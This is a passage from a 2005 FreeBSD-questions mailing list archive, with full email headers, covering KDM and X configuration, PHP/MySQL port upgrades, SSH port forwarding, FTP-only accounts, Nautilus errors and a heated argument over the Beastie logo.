just installed the last version of FreeBSD (5.3), after the reference, but I cannot launch any WindowManager using KDM : KDM closes and restart immediatly... I think that it's the same about XDM. But my Window Managers works using startx ! I think it's because there is no X-configuration menu during the installation with sysinstall... But what's the name of the new tool ? Thanks Hugo From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 17:42:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0415D16A4CE for ; Thu, 10 Feb 2005 17:42:25 +0000 (GMT) Received: from bmyster.com (ns1.bmyster.com [65.175.135.37]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7191143D41 for ; Thu, 10 Feb 2005 17:42:24 +0000 (GMT) (envelope-from mrb@bmyster.com) Received: from bmyster.com (localhost.bmyster.com [127.0.0.1]) by bmyster.com (8.12.11/8.12.11) with ESMTP id j1AHkv5m008959 for ; Thu, 10 Feb 2005 12:47:01 -0500 (EST) From: "Brent" To: questions@freebsd.org Date: Thu, 10 Feb 2005 12:46:52 -0500 Message-Id: <20050210174013.M56870@bmyster.com> X-Mailer: Open WebMail 2.41 20040926 X-OriginatingIP: 192.168.25.245 (mrb) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Subject: installing mysql , apache with ssl and mod_php4 help ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mrb@bmyster.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 17:42:25 -0000 Im running FBSD 4.10 and to cure the problem with a recent php4 exploit i had to upgrade to 4.3.10 ..i did this by going to /usr/ports/www/mod_php4 and doing make deinstall make reinstall in doing this after restarting apache which by the way said it loaded the php module im getting "no Mysql support " when i try to access my mysql/php sites anyone run accross this ?? if so ...how do i fix it ? i was thinking of just reinstalling mysql / apache ssl /mod_php4 any thoughts ? -- Brent From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 17:45:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EDD2816A4CE for ; Thu, 10 Feb 2005 17:45:41 +0000 (GMT) Received: from smtpauth04.mail.atl.earthlink.net (smtpauth04.mail.atl.earthlink.net [209.86.89.64]) by mx1.FreeBSD.org (Postfix) with ESMTP id B875443D39 for ; Thu, 10 Feb 2005 17:45:41 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth04.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CzINp-00015u-51; Thu, 10 Feb 2005 12:45:41 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 11:46:13 -0600 User-Agent: KMail/1.6.2 References: <420B9BA2.8070703@yahoo.fr> In-Reply-To: <420B9BA2.8070703@yahoo.fr> MIME-Version: 1.0 Content-Disposition: inline Message-Id: <200502101146.13124.algould@datawok.com> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bcec3aac4cff0febdb5be66948cc773e7f350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: HuGo Herter Subject: Re: KDM doesn't launch any WindowManager X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 17:45:42 -0000 On Thursday 10 February 2005 11:36 am, HuGo Herter wrote: > Hello, > I've just installed the last version of FreeBSD (5.3), after the > reference, but I cannot launch any WindowManager using KDM : KDM > closes and restart immediatly... > I think that it's the same about XDM. But my Window Managers works > using startx ! > > I think it's because there is no X-configuration menu during the > installation with sysinstall... But what's the name of the new tool ? > > Thanks > > Hugo > See the X Configuration section of the online manual: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/x-config.html Best of luck, Andrew From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 18:09:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9786916A4CE for ; Thu, 10 Feb 2005 18:09:03 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4448D43D53 for ; Thu, 10 Feb 2005 18:09:03 +0000 (GMT) (envelope-from list-freebsd-2004@morbius.sent.com) Received: from frontend2.messagingengine.com (frontend2.internal [10.202.2.151]) by frontend1.messagingengine.com (Postfix) with ESMTP id EE5A6C56531 for ; Thu, 10 Feb 2005 13:09:01 -0500 (EST) X-Sasl-enc: 95Omc+eztYFHb5ZM6pX0qA 1108058940 Received: from gumby.localhost (dsl-80-41-11-157.access.as9105.com [80.41.11.157]) by frontend2.messagingengine.com (Postfix) with ESMTP id B17A275E for ; Thu, 10 Feb 2005 13:09:00 -0500 (EST) From: RW To: freebsd-questions@freebsd.org Date: Thu, 10 Feb 2005 18:08:56 +0000 User-Agent: KMail/1.7.2 References: <200502101308.13556.list-freebsd-2004@morbius.sent.com> In-Reply-To: <200502101308.13556.list-freebsd-2004@morbius.sent.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502101808.57523.list-freebsd-2004@morbius.sent.com> Subject: Re: Javascript in Lynx X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 18:09:03 -0000 On Thursday 10 February 2005 13:08, RW wrote: > On Thursday 10 February 2005 06:32, Vince Sabio wrote: > > I'm running 5.1-RELEASE, and need to use Lynx via an ssh session to > > access my firewall's administrative interface. Logging into the > > firewall requires javascript. My FreeBSD machine has a stock > > installation of Lynx Version 2.8.4rel.1. I've gone through the > > [O]ptions in Lynx to find some means of enabling javascript, but > > haven't been able to locate it. The on-line docs don't seem to > > mention anything about it. Does Lynx even support javascript? If so, > > how do I enable it? > > I don't think it does, most people that want a more able text-based browser > would go for links or w3m. BTW are you aware of ssh port-forwarding? You should be able to forward a local port on your desktop machine through to the HTTP port of the firewall via an ssh tunnel to the FreeBSD box. You can then use any browser you like. It should be detailed in the documentation of your ssh client, but there are many "how-to"s for setting up putty or openssh on the websites of companies that provide anonymous proxy server access. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 18:11:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A0A9316A4CE for ; Thu, 10 Feb 2005 18:11:29 +0000 (GMT) Received: from mail-core.space2u.com (mail-core.space2u.com [62.20.1.181]) by mx1.FreeBSD.org (Postfix) with ESMTP id DBF1743D39 for ; Thu, 10 Feb 2005 18:11:28 +0000 (GMT) (envelope-from jd@dagerot.com) Received: from localhost (www-core.space2u.com [62.20.1.180]) by mail-core.space2u.com (8.13.3/8.13.2) with ESMTP id j1AIBPFJ026205 for ; Thu, 10 Feb 2005 19:11:25 +0100 Date: Thu, 10 Feb 2005 19:11:25 +0100 Message-Id: <200502101811.j1AIBPFJ026205@mail-core.space2u.com> MIME-Version: 1.0 From: "Joachim Dagerot" To: freebsd-questions@freebsd.org Cc: Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Subject: xPL for freeBSD or a similar project? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 18:11:29 -0000 I just got knowledge of the xPL project (http://www.xplproject.org.uk/index.php). And I would like to try it out but can't find anything freeBSD related for this project. Has anyone managed to do anything with this project on a freeBSD. Are there any other similar projects around that is more mature for a freeBSD environment. //Joche From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 18:27:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D61DF16A4CE for ; Thu, 10 Feb 2005 18:27:42 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id 72DD943D39 for ; Thu, 10 Feb 2005 18:27:42 +0000 (GMT) (envelope-from danie.dutoit@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so166834wra for ; Thu, 10 Feb 2005 10:27:41 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=WnjER6kGoEisIGXizfZjjFh03+psSYMr32jISeP/5PYxljhsrfEYkTAtm0wIdJgfZ4faZmYQQOwa8Wr+v688MABZf5pUIG0aW79GAZBz0oJgxNQeA5hsRkJ9ji0FQ66olltqfc8a0TXO2Of7sTRGJdVLr752AUVUHV7/sjx1chY= Received: by 10.54.18.63 with SMTP id 63mr83063wrr; Thu, 10 Feb 2005 08:41:01 -0800 (PST) Received: by 10.54.50.75 with HTTP; Thu, 10 Feb 2005 08:41:00 -0800 (PST) Message-ID: <8af82589050210084137ab01df@mail.gmail.com> Date: Thu, 10 Feb 2005 11:41:00 -0500 From: Danie Du Toit To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Secure file transfers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Danie Du Toit List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 18:27:42 -0000 Which packages are available to upload /download large dumpfiles in a secure fashion (e.g. using SSL). The customer should not need any secure client installed on his PC. Thanks From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 18:34:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E7C5716A4CF for ; Thu, 10 Feb 2005 18:34:38 +0000 (GMT) Received: from web53904.mail.yahoo.com (web53904.mail.yahoo.com [206.190.36.214]) by mx1.FreeBSD.org (Postfix) with SMTP id 517C443D3F for ; Thu, 10 Feb 2005 18:34:38 +0000 (GMT) (envelope-from stheg_olloydson@yahoo.com) Received: (qmail 71130 invoked by uid 60001); 10 Feb 2005 18:34:37 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=B4LdEX8wJbjUcN9eSDT4zCAbu8xs/p+Eq1dlcLyI0wCt9Oj9ly9+AhVys/qWpCSBcDIwNI7CSld5cqfpPdtyljLylSb+j3tczGzrKh0wamoseSu1vC0Q2amExEmoTS8MSnxlN2A6/5LmTvO1pp/h3S7lIm3SIdrhOTIQS2dkbYo= ; Message-ID: <20050210183437.71128.qmail@web53904.mail.yahoo.com> Received: from [68.210.34.46] by web53904.mail.yahoo.com via HTTP; Thu, 10 Feb 2005 10:34:36 PST Date: Thu, 10 Feb 2005 10:34:36 -0800 (PST) From: stheg olloydson To: Johnson David , freebsd-advocacy@freebsd.org, freebsd-questions@freebsd.org In-Reply-To: <9C4E897FB284BF4DBC9C0DC42FB34617641AD5@mvaexch01.acuson.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: RE: SPAM: Score 2.5: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 18:34:39 -0000 --- Johnson David wrote: > From: stheg olloydson [mailto:stheg_olloydson@yahoo.com] > > > > Now as to the "need" to change the logo, to quote the announcement, > > "This character sometimes treated with misinterpreted in the > > religious and cultural context." Over the years, the only > complaints I > > have ever heard have come from America's Taliban. Leaving aside the > > question of whether or not the complainers are in a position to > make > > any sort of IT decision, one must ask what is their motivation for > > complaining. They are simply trying to force their religious > orthodoxy > > on others. These are the same people trying to eliminate the > barrier > > between state and church to make the United States into a > theocratic > > country. Therefore, these complaints can be categorized as coming > from > > an irrational minority that should be ignored. > > Please keep your personal politics and cultural bigotry off of these > lists. > There is no "America's Taliban", and the use of the term is used > solely to > incite emotions. Thinking that just because people share you views on > operating systems they must also share you views on religion and > foreign > policy is sheer hubris. > > I realize that geeks and hackers tend to be irreligious, and Open > Source a > collection of global communities, but not until today have I seen > such > anti-Christian and anti-America bigotry in the FreeBSD community. Is > this to > be the new standard of discourse? If so, tell me now so I can avoid > the rush > in switching to another BSD. > > As a Christian I am not in the least offended by Beastie. But I am > getting > quite offended by people stereotyping my religion, nation and > culture. > > David Johnson > Well, well, well! Hit too close to home did I? I said that those complaining about the beastie belong to an irrational minority that wish to impose their religion on others. In what way is this statement bigotry or anti-Christian or anti-American? You, however, make a very revealing statement when you say, "But I am getting quite offended by people stereotyping my religion, nation and culture." The operative word here is "my". Why do you think that I am not a Christian American produced by the same culture as you? Is it because I have a name not typically associated with being an American? I think your assumption proves my "xenophobia" remark, at least in regards to you, don't you? Best regards, Stheg Olloydson __________________________________ Do you Yahoo!? The all-new My Yahoo! - Get yours free! http://my.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 18:42:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 579EF16A4CE for ; Thu, 10 Feb 2005 18:42:10 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id E991943D31 for ; Thu, 10 Feb 2005 18:42:09 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1AIg5VE090350; Thu, 10 Feb 2005 12:42:05 -0600 (CST) (envelope-from dan) Date: Thu, 10 Feb 2005 12:42:05 -0600 From: Dan Nelson To: "Dixit, Viraj" Message-ID: <20050210184205.GA86873@dan.emsphone.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: Telnet and FTP issues on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 18:42:10 -0000 In the last episode (Feb 10), Dixit, Viraj said: > I have been searching for few days everywhere an answer to this > question. Is there a way to stop telnet access for a group let's say > ftponly but allow them to have FTP access in FreeBSD 5.3. I know this > works in my old system BSD OS 4.3. The commands are like this in > login.conf file in BSD OS 4.3. > > #restrict telnet for ftponly group only > ftponly:\ > :auth-network=reject:\ > :auth-ftp=passwd: One way to do this is to set the user's shell to /usr/sbin/nologin and add /usr/sbin/nologin to the /etc/shells file. They won't be able to telnet or ssh in, but they will be able to ftp. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:13:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AA4FA16A4CE for ; Thu, 10 Feb 2005 19:13:53 +0000 (GMT) Received: from mail28.sea5.speakeasy.net (mail28.sea5.speakeasy.net [69.17.117.30]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5419A43D2D for ; Thu, 10 Feb 2005 19:13:53 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 31917 invoked from network); 10 Feb 2005 19:13:51 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail28.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 10 Feb 2005 19:13:50 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 2D1A582; Thu, 10 Feb 2005 14:13:50 -0500 (EST) Sender: lowell@be-well.ilk.org To: HuGo Herter References: <420B9BA2.8070703@yahoo.fr> From: Lowell Gilbert Date: 10 Feb 2005 14:13:49 -0500 In-Reply-To: <420B9BA2.8070703@yahoo.fr> Message-ID: <44ekfojkia.fsf@be-well.ilk.org> Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@FreeBSD.org Subject: Re: KDM doesn't launch any WindowManager X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:13:53 -0000 HuGo Herter writes: HuGo Herter writes: > Hello, > I've just installed the last version of FreeBSD (5.3), after the > reference, but I cannot launch any WindowManager using KDM : KDM > closes and restart immediatly... > I think that it's the same about XDM. But my Window Managers works > using startx ! In that case, it's almost certainly a problem with your .xsession file. Is it different than your .xinitrc? > I think it's because there is no X-configuration menu during the > installation with sysinstall... But what's the name of the new tool ? A lot of people don't need to configure X to have it "just work." The tool you're looking for is "xorgcfg" or "xorgconfig", but your configuration is probably fine if it works with startx. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:26:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7447616A4CE for ; Thu, 10 Feb 2005 19:26:21 +0000 (GMT) Received: from smtp2.server.rpi.edu (smtp2.server.rpi.edu [128.113.2.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 15FB243D54 for ; Thu, 10 Feb 2005 19:26:21 +0000 (GMT) (envelope-from gad@FreeBSD.org) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp2.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1AJQIW6003525 for ; Thu, 10 Feb 2005 14:26:20 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <20050210155900.GD89175@keyslapper.net> References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> <20050210155900.GD89175@keyslapper.net> Date: Thu, 10 Feb 2005 14:26:18 -0500 To: freebsd-questions@FreeBSD.org From: Garance A Drosehn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:26:21 -0000 At 10:59 AM -0500 2/10/05, Louis LeBlanc wrote: > > > > Logos need to be as neutral as possible, since they will be > > very widely used and very heavily imprinted in customers' > > minds. They must not conjure up thoughts of anything except > > the brand they represent. > >Neutrality is purely objective in this case (and many others). >Uninformed neutrality can be highly inflammatory. Beastie is only >considered inflammatory to those uninformed fundamentalists who >haven't been satisfied beating down every other freedom in this >country and need someone or something else to pick on. Next >they'll be burning books and witches again. It is interesting that I constantly hear "FreeBSD MUST have the Beastie as the only logo for FreeBSD. We MUST NOT even consider any other logo -- because if we consider ANY other logo, we will be close-minded!". So, there is one-and-only-one valid logo for FreeBSD, and that is because FreeBSD is so very open-minded? Note that the contest is just to see what logos people can come up with. It's not like we are demanding that the logo must have angels in it, or a picture of some other religious figure. Nothing more than "Let's see what ideas people can come up with". -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:26:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4AC0516A4EF for ; Thu, 10 Feb 2005 19:26:56 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id F33BF43D45 for ; Thu, 10 Feb 2005 19:26:55 +0000 (GMT) (envelope-from marella@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1AJQq6V004311 for ; Thu, 10 Feb 2005 11:26:53 -0800 (PST) From: Robert Marella To: freebsd-questions@freebsd.org Content-Type: text/plain Date: Thu, 10 Feb 2005 09:30:09 -1000 Message-Id: <1108063809.38593.8.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: FreeBSD Logo X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:26:56 -0000 Many companies do change their logos (see link). Logos tend to evolve over time and as the world changes. Our world (software-wise) is definitely changing. If we want FreeBSD to exist in the future then change is inevitable. http://www.bellsystemmemorial.com/bell_logos.html The open source slice of the OS pie is getting larger. For the FreeBSD portion of that slice to grow, it must change. My 2 seashells. Robert From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:29:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6ECB816A53D for ; Thu, 10 Feb 2005 19:29:12 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 06F2143D1F for ; Thu, 10 Feb 2005 19:29:12 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id A9AF2FD020; Thu, 10 Feb 2005 20:29:10 +0100 (CET) Message-ID: <420BB602.3070109@locolomo.org> Date: Thu, 10 Feb 2005 20:29:06 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Dominique Goncalves References: <420B8C61.3060905@locolomo.org> <420B8D1E.8080107@locolomo.org> <7daacbbe050210090222753678@mail.gmail.com> In-Reply-To: <7daacbbe050210090222753678@mail.gmail.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: FreeBSD Questions Subject: Re: load average gone boink X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:29:12 -0000 Dominique Goncalves wrote: > http://lists.freebsd.org/pipermail/freebsd-stable/2005-February/011693.html Thanks, you don't have to rebuild the world, just the kernel. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:39:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DCF0A16A4CE for ; Thu, 10 Feb 2005 19:39:37 +0000 (GMT) Received: from smtp17.wxs.nl (smtp17.wxs.nl [195.121.6.13]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3289543D2F for ; Thu, 10 Feb 2005 19:39:37 +0000 (GMT) (envelope-from kiffin.gish@planet.nl) Received: from ZGISH (ip3e833f72.speed.planet.nl [62.131.63.114]) by smtp17.wxs.nl (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004)) with ESMTP id <0IBP00EKENXZZP@smtp17.wxs.nl> for freebsd-questions@freebsd.org; Thu, 10 Feb 2005 20:39:36 +0100 (CET) Date: Thu, 10 Feb 2005 20:39:36 +0100 From: Kiffin Gish To: freebsd-questions@freebsd.org Message-id: <004601c50fa8$40df3720$9900000a@ZGISH> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Mailer: Microsoft Outlook, Build 10.0.6626 Content-type: multipart/mixed; boundary="Boundary_(ID_DVt3Iutf0H8QxR3YPRa/Gg)" Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MS-TNEF-Correlator: 00000000DA18B7C9E0C09641B844D919507EA01604DD3E00 X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: Nautilus errors during Gnome Desktop startup... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:39:38 -0000 This is a multi-part message in MIME format. --Boundary_(ID_DVt3Iutf0H8QxR3YPRa/Gg) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT All of a sudden, my Gnome desktop is not starting up correctly anymore. The splash screen displays the usual startup icons one after the other: until Nautilus. After that the mouse-pointer remains a thick cross and the usual window handling stuff has broken down completely. When I close down the Gnome Desktop, I can just make out a bunch of Nautilus related errors appearing on the screen. How can I best trouble-shoot this, e.g. is there some error log file I can examine? Could it have something to do with the fact that the day before I updated to the latest Perl version? Thanks a lot in advance. -- Kiffin Rex Gish Gouda, The Netherlands --Boundary_(ID_DVt3Iutf0H8QxR3YPRa/Gg)-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:42:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 88D6516A4CE for ; Thu, 10 Feb 2005 19:42:57 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 025A243D1F for ; Thu, 10 Feb 2005 19:42:57 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 13:42:52 -0600 Message-ID: <420BB93D.2040902@daleco.biz> Date: Thu, 10 Feb 2005 13:42:53 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mrb@bmyster.com References: <20050210174013.M56870@bmyster.com> In-Reply-To: <20050210174013.M56870@bmyster.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Feb 2005 19:42:52.0637 (UTC) FILETIME=[B5A578D0:01C50FA8] cc: questions@freebsd.org Subject: Re: installing mysql , apache with ssl and mod_php4 help ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 19:42:57 -0000 Brent wrote: >Im running FBSD 4.10 and >to cure the problem with a recent php4 exploit i had to upgrade to 4.3.10 ..i >did this by going to /usr/ports/www/mod_php4 and doing >make deinstall >make reinstall > >in doing this after restarting apache which by the way said it loaded the php >module im getting "no Mysql support " when i try to access my mysql/php sites > >anyone run accross this ?? if so ...how do i fix it ? > >i was thinking of just reinstalling mysql / apache ssl /mod_php4 > >any thoughts ? > > > Hi, Brent. Check /usr/ports/UPDATING and note that the PHP port was "splitted" last July. To get MySQL support, you will have to also install the extensions. That's most likely the issue. HTH, Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 19:50:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4D56916A4CE for ; Thu, 10 Feb 2005 19:50:33 +0000 